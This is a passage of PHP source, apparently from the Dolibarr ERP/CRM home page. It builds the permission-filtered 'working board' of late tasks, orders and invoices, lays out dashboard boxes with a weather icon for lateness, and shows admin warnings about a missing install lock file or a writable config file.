$boxstat.='<a class="boxstatsindicator thumbstat nobold nounderline"><div class="boxstatsempty"></div></a>';
$boxstat.='<a class="boxstatsindicator thumbstat nobold nounderline"><div class="boxstatsempty"></div></a>';
$boxstat.='<a class="boxstatsindicator thumbstat nobold nounderline"><div class="boxstatsempty"></div></a>';
$boxstat.='</td></tr>';
$boxstat.='</table>';
$boxstat.='</div>';
}
//print $boxstat;
print '</div><div class="fichetwothirdright"><div class="ficheaddleft">';
/*
* Dolibarr Working Board with weather
*/
$showweather=(empty($conf->global->MAIN_DISABLE_METEO) || $conf->global->MAIN_DISABLE_METEO == 2) ? 1 : 0;
//Array that contains all WorkboardResponse classes to process them
$dashboardlines=array();
// Do not include sections without management permission
require_once DOL_DOCUMENT_ROOT.'/core/class/workboardresponse.class.php';
// Number of actions to do (late)
if (! empty($conf->agenda->enabled) && $user->rights->agenda->myactions->read)
{
include_once DOL_DOCUMENT_ROOT.'/comm/action/class/actioncomm.class.php';
$board=new ActionComm($db);
$dashboardlines[] = $board->load_board($user);
}
// Number of project opened
if (! empty($conf->projet->enabled) && $user->rights->projet->lire)
{
include_once DOL_DOCUMENT_ROOT.'/projet/class/project.class.php';
$board=new Project($db);
$dashboardlines[] = $board->load_board($user);
}
// Number of tasks to do (late)
if (! empty($conf->projet->enabled) && empty($conf->global->PROJECT_HIDE_TASKS) && $user->rights->projet->lire)
{
include_once DOL_DOCUMENT_ROOT.'/projet/class/task.class.php';
$board=new Task($db);
$dashboardlines[] = $board->load_board($user);
}
// Number of commercial proposals opened (expired)
if (! empty($conf->propal->enabled) && $user->rights->propale->lire)
{
include_once DOL_DOCUMENT_ROOT.'/comm/propal/class/propal.class.php';
$board=new Propal($db);
$dashboardlines[] = $board->load_board($user, "opened");
// Number of commercial proposals CLOSED signed (billed)
$dashboardlines[] = $board->load_board($user, "signed");
}
// Number of commercial proposals opened (expired)
if (! empty($conf->supplier_proposal->enabled) && $user->rights->supplier_proposal->lire)
{
include_once DOL_DOCUMENT_ROOT.'/supplier_proposal/class/supplier_proposal.class.php';
$board=new SupplierProposal($db);
$dashboardlines[] = $board->load_board($user, "opened");
// Number of commercial proposals CLOSED signed (billed)
$dashboardlines[] = $board->load_board($user, "signed");
}
// Number of customer orders a deal
if (! empty($conf->commande->enabled) && $user->rights->commande->lire)
{
include_once DOL_DOCUMENT_ROOT.'/commande/class/commande.class.php';
$board=new Commande($db);
$dashboardlines[] = $board->load_board($user);
}
// Number of suppliers orders a deal
if (! empty($conf->supplier_order->enabled) && $user->rights->fournisseur->commande->lire)
{
include_once DOL_DOCUMENT_ROOT.'/fourn/class/fournisseur.commande.class.php';
$board=new CommandeFournisseur($db);
$dashboardlines[] = $board->load_board($user);
}
// Number of services enabled (delayed)
if (! empty($conf->contrat->enabled) && $user->rights->contrat->lire)
{
include_once DOL_DOCUMENT_ROOT.'/contrat/class/contrat.class.php';
$board=new Contrat($db);
$dashboardlines[] = $board->load_board($user, "inactive");
// Number of active services (expired)
$dashboardlines[] = $board->load_board($user, "active");
}
// Number of invoices customers (has paid)
if (! empty($conf->facture->enabled) && $user->rights->facture->lire)
{
include_once DOL_DOCUMENT_ROOT.'/compta/facture/class/facture.class.php';
$board=new Facture($db);
$dashboardlines[] = $board->load_board($user);
}
// Number of supplier invoices (has paid)
if (! empty($conf->supplier_invoice->enabled) && ! empty($user->rights->fournisseur->facture->lire))
{
include_once DOL_DOCUMENT_ROOT.'/fourn/class/fournisseur.facture.class.php';
$board=new FactureFournisseur($db);
$dashboardlines[] = $board->load_board($user);
}
// Number of transactions to conciliate
if (! empty($conf->banque->enabled) && $user->rights->banque->lire && ! $user->societe_id)
{
include_once DOL_DOCUMENT_ROOT.'/compta/bank/class/account.class.php';
$board=new Account($db);
$nb = $board::countAccountToReconcile(); // Get nb of account to reconciliate
if ($nb > 0)
{
$dashboardlines[] = $board->load_board($user);
}
}
// Number of cheque to send
if (! empty($conf->banque->enabled) && $user->rights->banque->lire && ! $user->societe_id && empty($conf->global->BANK_DISABLE_CHECK_DEPOSIT))
{
include_once DOL_DOCUMENT_ROOT.'/compta/paiement/cheque/class/remisecheque.class.php';
$board=new RemiseCheque($db);
$dashboardlines[] = $board->load_board($user);
}
// Number of foundation members
if (! empty($conf->adherent->enabled) && $user->rights->adherent->lire && ! $user->societe_id)
{
include_once DOL_DOCUMENT_ROOT.'/adherents/class/adherent.class.php';
$board=new Adherent($db);
$dashboardlines[] = $board->load_board($user);
}
// Number of expense reports to approve
if (! empty($conf->expensereport->enabled) && $user->rights->expensereport->approve)
{
include_once DOL_DOCUMENT_ROOT.'/expensereport/class/expensereport.class.php';
$board=new ExpenseReport($db);
$dashboardlines[] = $board->load_board($user, 'toapprove');
}
// Number of expense reports to pay
if (! empty($conf->expensereport->enabled) && $user->rights->expensereport->to_paid)
{
include_once DOL_DOCUMENT_ROOT.'/expensereport/class/expensereport.class.php';
$board=new ExpenseReport($db);
$dashboardlines[] = $board->load_board($user, 'topay');
}
// Number of holidays to approve
if (! empty($conf->holiday->enabled) && $user->rights->holiday->approve)
{
include_once DOL_DOCUMENT_ROOT.'/holiday/class/holiday.class.php';
$board=new Holiday($db);
$dashboardlines[] = $board->load_board($user);
}
$object=new stdClass();
$parameters=array();
$action='';
$reshook=$hookmanager->executeHooks('addOpenElementsDashboardLine', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks
if ($reshook == 0) {
$dashboardlines = array_merge($dashboardlines, $hookmanager->resArray);
}
// Calculate total nb of late
$totallate=$totaltodo=0;
//Remove any invalid response
//load_board can return an integer if failed or WorkboardResponse if OK
$valid_dashboardlines=array();
foreach($dashboardlines as $tmp)
{
if ($tmp instanceof WorkboardResponse) $valid_dashboardlines[] = $tmp;
}
// We calculate $totallate. Must be defined before start of next loop because it is show in first fetch on next loop
foreach($valid_dashboardlines as $board)
{
if ($board->nbtodolate > 0) {
if(!empty($conf->global->MAIN_USE_METEO_WITH_PERCENTAGE)) $totaltodo += $board->nbtodo;
$totallate += $board->nbtodolate;
}
}
//var_dump($totallate, $totaltodo);
if(!empty($conf->global->MAIN_USE_METEO_WITH_PERCENTAGE) && !empty($totaltodo)) $totallate = round($totallate / $totaltodo * 100, 2);
//var_dump($totallate);
$boxwork='';
$boxwork.='<div class="box">';
$boxwork.='<table summary="'.dol_escape_htmltag($langs->trans("WorkingBoard")).'" class="noborder boxtable boxtablenobottom boxworkingboard" width="100%">'."\n";
$boxwork.='<tr class="liste_titre">';
$boxwork.='<th class="liste_titre"><div class="inline-block valignmiddle">'.$langs->trans("DolibarrWorkBoard").'</div>';
if ($showweather)
{
if ($totallate > 0) $text=$langs->transnoentitiesnoconv("WarningYouHaveAtLeastOneTaskLate").' ('.$langs->transnoentitiesnoconv("NActionsLate", $totallate.(!empty($conf->global->MAIN_USE_METEO_WITH_PERCENTAGE) ? '%' : '')).')';
else $text=$langs->transnoentitiesnoconv("NoItemLate");
$text.='. '.$langs->transnoentitiesnoconv("LateDesc");
//$text.=$form->textwithpicto('',$langs->trans("LateDesc"));
$options='height="24px" style="float: right"';
$boxwork.=showWeather($totallate, $text, $options, 'inline-block valignmiddle');
}
$boxwork.='</th>';
$boxwork.='</tr>'."\n";
/*if ($showweather)
{
$boxwork.='<tr class="nohover">';
$boxwork.='<td class="nohover'.($conf->global->MAIN_DISABLE_METEO == 2 ?' hideonsmartphone' : '').' center valignmiddle">';
$text='';
if ($totallate > 0) $text=$langs->transnoentitiesnoconv("WarningYouHaveAtLeastOneTaskLate").' ('.$langs->transnoentitiesnoconv("NActionsLate", $totallate.(!empty($conf->global->MAIN_USE_METEO_WITH_PERCENTAGE) ? '%' : '')).')';
else $text=$langs->transnoentitiesnoconv("NoItemLate");
$text.='. '.$langs->transnoentitiesnoconv("LateDesc");
//$text.=$form->textwithpicto('',$langs->trans("LateDesc"));
$options='height="64px"';
$boxwork.=showWeather($totallate, $text, $options);
$boxwork.='</td>';
$boxwork.='</tr>';
}*/
// Show dashboard
$nbworkboardempty=0;
if (! empty($valid_dashboardlines))
{
$boxwork.='<tr class="nobottom nohover"><td class="tdboxstats nohover flexcontainer centpercent"><div style="display: flex: flex-wrap: wrap">';
foreach($valid_dashboardlines as $board)
{
if (empty($board->nbtodo)) $nbworkboardempty++;
$textlate = $langs->trans("NActionsLate", $board->nbtodolate);
$textlate.= ' ('.$langs->trans("Late").' = '.$langs->trans("DateReference").' > '.$langs->trans("DateToday").' '.(ceil($board->warning_delay) >= 0 ? '+' : '').ceil($board->warning_delay).' '.$langs->trans("days").')';
$boxwork .='<div class="boxstatsindicator thumbstat150 nobold nounderline"><div class="boxstats130 boxstatsborder">';
$boxwork .= '<div class="boxstatscontent">';
$sep=($conf->dol_use_jmobile?'<br>':' ');
$boxwork .= '<span class="boxstatstext" title="'.dol_escape_htmltag($board->label).'">'.$board->img.' '.$board->label.'</span><br>';
$boxwork .= '<a class="valignmiddle dashboardlineindicator" href="'.$board->url.'"><span class="dashboardlineindicator'.(($board->nbtodo == 0)?' dashboardlineok':'').'">'.$board->nbtodo.'</span></a>';
if ($board->total > 0 && ! empty($conf->global->MAIN_WORKBOARD_SHOW_TOTAL_WO_TAX))
{
$boxwork .= ' / <a class="valignmiddle dashboardlineindicator" href="'.$board->url.'"><span class="dashboardlineindicator'.(($board->nbtodo == 0)?' dashboardlineok':'').'">'.price($board->total) .'</span></a>';
}
$boxwork .= '</div>';
if ($board->nbtodolate > 0)
{
$boxwork .= '<div class="dashboardlinelatecoin nowrap">';
$boxwork .= '<a title="'.dol_escape_htmltag($textlate).'" class="valignmiddle dashboardlineindicatorlate'.($board->nbtodolate>0?' dashboardlineko':' dashboardlineok').'" href="'.((!$board->url_late) ? $board->url : $board->url_late ).'">';
//$boxwork .= img_picto($textlate, "warning_white", 'class="valigntextbottom"').'';
$boxwork .= img_picto($textlate, "warning_white", 'class="inline-block hideonsmartphone valigntextbottom"').'';
$boxwork .= '<span class="dashboardlineindicatorlate'.($board->nbtodolate>0?' dashboardlineko':' dashboardlineok').'">';
$boxwork .= $board->nbtodolate;
$boxwork .= '</span>';
$boxwork .= '</a>';
$boxwork .= '</div>';
}
$boxwork.='</div></div>';
$boxwork .="\n";
}
$boxwork .='<div class="boxstatsindicator thumbstat150 nobold nounderline"><div class="boxstats150empty"></div></div>';
$boxwork .='<div class="boxstatsindicator thumbstat150 nobold nounderline"><div class="boxstats150empty"></div></div>';
$boxwork .='<div class="boxstatsindicator thumbstat150 nobold nounderline"><div class="boxstats150empty"></div></div>';
$boxwork .='<div class="boxstatsindicator thumbstat150 nobold nounderline"><div class="boxstats150empty"></div></div>';
$boxwork .='</div>';
$boxwork .='</td></tr>';
}
else
{
$boxwork.='<tr class="nohover">';
$boxwork.='<td class="nohover valignmiddle opacitymedium">';
$boxwork.=$langs->trans("NoOpenedElementToProcess");
$boxwork.='</td>';
$boxwork.='</tr>';
}
$boxwork.='</td></tr>';
$boxwork.='</table>'; // End table array of working board
$boxwork.='</div>';
print '</div></div></div><div class="clearboth"></div>';
print '<div class="fichecenter fichecenterbis">';
/*
* Show boxes
*/
$boxlist.='<div class="twocolumns">';
$boxlist.='<div class="firstcolumn fichehalfleft boxhalfleft" id="boxhalfleft">';
$boxlist.=$boxwork;
$boxlist.=$resultboxes['boxlista'];
$boxlist.= '</div>';
$boxlist.= '<div class="secondcolumn fichehalfright boxhalfright" id="boxhalfright">';
$boxlist.=$boxstat;
$boxlist.=$resultboxes['boxlistb'];
$boxlist.= '</div>';
$boxlist.= "\n";
$boxlist.='</div>';
print $boxlist;
print '</div>';
/*
* Show security warnings
*/
// Security warning repertoire install existe (si utilisateur admin)
if ($user->admin && empty($conf->global->MAIN_REMOVE_INSTALL_WARNING))
{
$message='';
// Check if install lock file is present
$lockfile=DOL_DATA_ROOT.'/install.lock';
if (! empty($lockfile) && ! file_exists($lockfile) && is_dir(DOL_DOCUMENT_ROOT."/install"))
{
$langs->load("errors");
//if (! empty($message)) $message.='<br>';
$message.=info_admin($langs->trans("WarningLockFileDoesNotExists", DOL_DATA_ROOT).' '.$langs->trans("WarningUntilDirRemoved", DOL_DOCUMENT_ROOT."/install"), 0, 0, '1', 'clearboth');
}
// Conf files must be in read only mode
if (is_writable($conffile))
{
$langs->load("errors");
//$langs->load("other");
//if (! empty($message)) $message.='<br>';
$message.=info_admin($langs->transnoentities("WarningConfFileMustBeReadOnly").' '.$langs->trans("WarningUntilDirRemoved", DOL_DOCUMENT_ROOT."/install"), 0, 0, '1', 'clearboth');
}
if ($message)
{
print $message;
//$message.='<br>';
//print info_admin($langs->trans("WarningUntilDirRemoved",DOL_DOCUMENT_ROOT."/install"));
}
}
//print 'mem='.memory_get_usage().' - '.memory_get_peak_usage();
// End of page
llxFooter();
$db->close();
/**
* Show weather logo. Logo to show depends on $totallate and values for
* $conf->global->MAIN_METEO_LEVELx
*
* @param int $totallate Nb of element late
* @param string $text Text to show on logo
* @param string $options More parameters on img tag
* @param string $morecss More CSS
* @return string Return img tag of weather
*/
function showWeather($totallate, $text, $options, $morecss = '')
{
global $conf;
$out='';
$offset=0;
$factor=10; // By default
$used_conf = !empty($conf->global->MAIN_USE_METEO_WITH_PERCENTAGE) ? 'MAIN_METEO_PERCENTAGE_LEVEL' : 'MAIN_METEO_LEVEL';
$level0=$offset;
if (! empty($conf->global->{$used_conf.'0'})) {
$level0=$conf->global->{$used_conf.'0'};
}
$level1=$offset+1*$factor;
if (! empty($conf->global->{$used_conf.'1'})) {
$level1=$conf->global->{$used_conf.'1'};
}
$level2=$offset+2*$factor;
if (! empty($conf->global->{$used_conf.'2'})) {
$level2=$conf->global->{$used_conf.'2'};
}
$level3=$offset+3*$factor;
if (! empty($conf->global->{$used_conf.'3'})) {
$level3=$conf->global->{$used_conf.'3'};
}
if ($totallate <= $level0) $out.=img_weather($text, 'weather-clear.png', $options, 0, $morecss);
elseif ($totallate > $level0 && $totallate <= $level1) $out.=img_weather($text, 'weather-few-clouds.png', $options, 0, $morecss);
elseif ($totallate > $level1 && $totallate <= $level2) $out.=img_weather($text, 'weather-clouds.png', $options, 0, $morecss);
elseif ($totallate > $level2 && $totallate <= $level3) $out.=img_weather($text, 'weather-many-clouds.png', $options, 0, $morecss);
elseif ($totallate > $level3) $out.=img_weather($text, 'weather-storm.png', $options, 0, $morecss);
return $out;
}